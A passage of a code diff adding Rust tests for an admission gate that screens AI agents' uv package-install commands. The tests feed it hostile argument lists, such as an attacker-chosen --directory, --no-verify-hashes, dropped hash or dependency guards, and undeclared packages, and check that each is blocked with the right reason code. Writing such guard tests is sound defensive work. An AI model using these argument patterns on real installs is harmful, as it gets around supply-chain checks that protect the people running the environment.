ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn reviewed_uv_install_without_working_directory_override_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_attached_directory_cannot_relocate_ambient_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--directory=/tmp/attacker-project".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv working directory must not relocate ambient config discovery outside the reviewed install authority" + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv --directory must retain stable alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to exact submitted argv" + ); +} + +#[test] +fn uv_separate_directory_value_is_classified_as_configuration_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--directory".to_string()); + intent.argv.push("/tmp/attacker-project".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "an incidental positional-operand rejection must not hide uv working-directory config authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_separate_directory_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--directory".to_string(), + "/tmp/attacker-project".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --directory must preserve the causal alternate_trust_root evidence even when the command grammar remains unsupported: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_attached_directory_retains_configuration_authority_reason() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--directory=/tmp/attacker-project".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "uv global --directory= must preserve the causal alternate_trust_root evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_global_nearby_directory_spelling_does_not_inherit_configuration_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--directoryx=/tmp/attacker-project".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "Wardnet must not invent uv global-option semantics for nearby spellings: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn uv_nearby_directory_option_spelling_does_not_inherit_configuration_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .push("--directoryx=/tmp/attacker-project".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-directory-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-directory-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs new file mode 100644 index 00000000..4b5a3f08 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_exact_sync_authority_contract.rs @@ -0,0 +1,87 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, +}; + +#[test] +fn approved_uv_install_without_exact_sync_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_exact_sync_cannot_inherit_artifact_approval() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.push("--exact".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected uv exact-sync authority can remove extraneous packages that are outside the reviewed artifact" + ); + assert_eq!( + decision.reason_codes, + vec![ReasonCode::ArtifactNotApproved], + "uv exact sync must fail causally as unreviewed environment mutation authority" + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-exact-sync-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-exact-sync-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs new file mode 100644 index 00000000..9001dd7b --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_artifact_operand_authority_contract.rs @@ -0,0 +1,183 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_global_parser_options_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_global_options_preserve_undeclared_artifact_causal_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "undeclared-example==9.9.9".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar remains outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "parser-valid uv global options must not erase causal evidence for an undeclared artifact: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_install_root_value_is_not_fabricated_as_an_artifact_operand() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--target".to_string(), + "/tmp/wardnet-admission".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "the consumed --target value is install-root authority, not a package operand: {:?}", + decision.reason_codes + ); +} + +#[test] +fn non_install_uv_grammar_does_not_inherit_artifact_operand_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "cwl-example==1.2.3".to_string(), + "undeclared-example==9.9.9".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "non-install uv grammar must not inherit pip-install artifact-operand evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-artifact-operand-authority".to_string(), + policy_revision: "2026-09-14.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-artifact-operand-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs b/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs new file mode 100644 index 00000000..7cf9f9bc --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_dependency_cardinality_contract.rs @@ -0,0 +1,154 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, +}; + +const ARTIFACT_DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const ARTIFACT_ARGUMENT: &str = "cwl-example==1.2.3"; + +#[test] +fn baseline_uv_pip_install_with_exact_dependency_guard_remains_allowed() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-deps", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +#[test] +fn uv_global_options_preserve_missing_dependency_set_guard_evidence() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "--color", + "never", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(has_reason(&decision.reason_codes, "forbidden_command")); + assert!( + has_reason(&decision.reason_codes, "missing_safety_flag"), + "global uv options must not erase missing --no-deps evidence" + ); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +#[test] +fn uv_global_options_with_exact_dependency_guard_do_not_emit_false_missing_flag() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "--color", + "never", + "pip", + "install", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-deps", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(has_reason(&decision.reason_codes, "forbidden_command")); + assert!( + !has_reason(&decision.reason_codes, "missing_safety_flag"), + "an exact --no-deps guard must not acquire false missing-safety evidence" + ); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +#[test] +fn uv_global_options_on_pip_sync_do_not_acquire_install_dependency_set_evidence() { + let (policy, intent) = approved_uv_intent(vec![ + "uv", + "--color", + "never", + "pip", + "sync", + ARTIFACT_ARGUMENT, + "--require-hashes", + "--no-python-downloads", + ]); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(has_reason(&decision.reason_codes, "forbidden_command")); + assert!( + !has_reason(&decision.reason_codes, "missing_safety_flag"), + "uv pip sync must not be classified as a pip-install dependency-cardinality path" + ); + assert_eq!(decision.command_sha256, submitted_command_sha256(&intent)); +} + +fn has_reason(reasons: &[wardnet_agent_artifact_admission::ReasonCode], expected: &str) -> bool { + reasons.iter().any(|reason| reason.as_str() == expected) +} + +fn submitted_command_sha256(intent: &InstallIntent) -> String { + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) +} + +fn approved_uv_intent(argv: Vec<&str>) -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: ARTIFACT_DIGEST.to_string(), + artifact_argument: ARTIFACT_ARGUMENT.to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-dependency-cardinality".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-dependency-cardinality".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: argv.into_iter().map(str::to_string).collect(), + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_global_hash_disable_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_hash_disable_authority_contract.rs new file mode 100644 index 00000000..8197e927 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_hash_disable_authority_contract.rs @@ -0,0 +1,157 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_hash_disable_authority_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_global_options_preserve_explicit_hash_disable_causal_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-verify-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "parser-valid uv global options must not erase explicit --no-verify-hashes evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_parser_controls_do_not_fabricate_hash_disable_evidence() { + for argv in [ + vec![ + "uv", + "--color", + "never", + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--no-verify-hash", + "--no-deps", + "--no-python-downloads", + ], + vec![ + "uv", + "--color", + "never", + "pip", + "sync", + "cwl-example==1.2.3", + "--require-hashes", + "--no-verify-hashes", + "--no-deps", + "--no-python-downloads", + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv = argv.into_iter().map(str::to_string).collect(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "nearby spelling or non-install uv grammar must not inherit hash-disable authority: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); + } +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-hash-disable-authority".to_string(), + policy_revision: "2026-09-14.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-hash-disable-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs new file mode 100644 index 00000000..e73792e7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_hash_safety_authority_contract.rs @@ -0,0 +1,154 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn uv_global_options_preserve_missing_hash_safety_evidence() { + let (policy, baseline) = approved_uv_install(); + let control = admission_decision(&policy, &baseline); + assert_eq!(control.decision, DecisionKind::Allow); + + let mut hostile = baseline.clone(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar must remain outside the deliberately narrow supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "parser-valid uv global options must not erase causal missing --require-hashes evidence: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn uv_global_options_with_require_hashes_do_not_fabricate_missing_safety_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "exact --require-hashes must satisfy the hash-safety evidence contract: {:?}", + decision.reason_codes + ); +} + +#[test] +fn uv_global_non_install_command_does_not_gain_hash_safety_evidence() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "requirements.txt".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::MissingSafetyFlag), + "non-install uv grammar must not inherit pip-install hash-safety evidence: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-13.2".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-hash-safety-authority".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} diff --git a/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs new file mode 100644 index 00000000..daf2264c --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs @@ -0,0 +1,214 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_global_parser_options_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_global_requirement_source_preserves_indirect_artifact_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "-r".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, 